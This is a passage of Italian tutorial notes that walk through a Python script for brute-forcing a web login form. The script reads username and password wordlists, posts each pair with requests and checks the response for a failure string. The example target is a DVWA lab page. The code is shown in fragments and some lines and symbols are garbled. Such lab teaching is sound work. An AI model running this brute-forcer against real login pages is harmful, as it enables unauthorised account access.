1 import requests

Ci permette di automatizzare il processo di invio richieste metodi >GET< e >POST<

```
1 import requests
2
3
4 def readFile(text):
5     with open(text) as file:
6          lines = file.read().splitlines()
7     return lines
```

Input del utente:

```
12 url = input("[~]Enter Page URL => ")

13

14 username_file = input("[~]Enter Username File To Use => ")

15

16 password_file = input("[~]Enter Password File To Use => ")

17

18 login_failed_string = input("[~]Enter String That Occurs When Login Fails => ")

19

20 cookie_value = input("[Optional]Enter Cookie Value [Optional] => ")
```

Lettura file nel input scelte dal utente:

```
4 def readFile(text):
5     with open(text) as file:
6         lines = file.read().splitlines()
7     return lines
8

22
23 username_list = readFile(username_file)
24 password_list = readFile(password_file)
25
```

```
26
27 for username in username_list:
28     for password in password_list:
29         print(f"Trying—[Username]={username} with [Password]={password}")
30         data = {"username":username,"password":password,"Login":"submit"}
```

[30] data: il Dictionary con la key e value dove specifichiamo le informazioni delle quali ha bisogno il programma per funzionare, (la username, la password, e il bottone che deve "cliccare");

L'ultimo argument "Login": "submit" = non essendo una variabile submit lo dobbiamo quotare ("")

questo serve per:



Per far capire al nostro programma se le credenziali sono giuste:

```
35
                             if login_failed_string in response.content.decode():
      36
      37
                             else:
      38
                                      print("[+]Found Username: ⇒ " + username)
      39
                                      print("[+]Found Password: \Rightarrow " + password)
      40
                                      exit()
In caso le credenziali non siano giuste:
Qui torna utile l'input della variabile "login_failed_string"
                      login_failed_string in response.content.decode()
                            La variabile dove
                                                                                 Dobbiamo decifrare il
                            abbiamo inserito la
                                                                                 content della risposta
                            richiesta (riga 34)
                                                                                  per poter trovare l'input
                                                                                 del "login_failed_string"
                                                                                 dentro il content
in pratica va a cercare la stringa del "login_failed_string" dentro la risposta
della pagina HTML, se la trova vuol dire che le credenziali sono sbagliate e
il programma continuerà sul "pass"
In caso le credenziali sono giuste:
                  else:
                            print("[+]Found Username: \Rightarrow
                            print("[+]Found Password: ⇒
                            exit()
```

In pratica se la "login_failed_string" non si trova dentro la risposta della pagina HTML.

In caso della session: per esempio:

http://192.168.50.101/dvwa/vulnerabilities/brute/

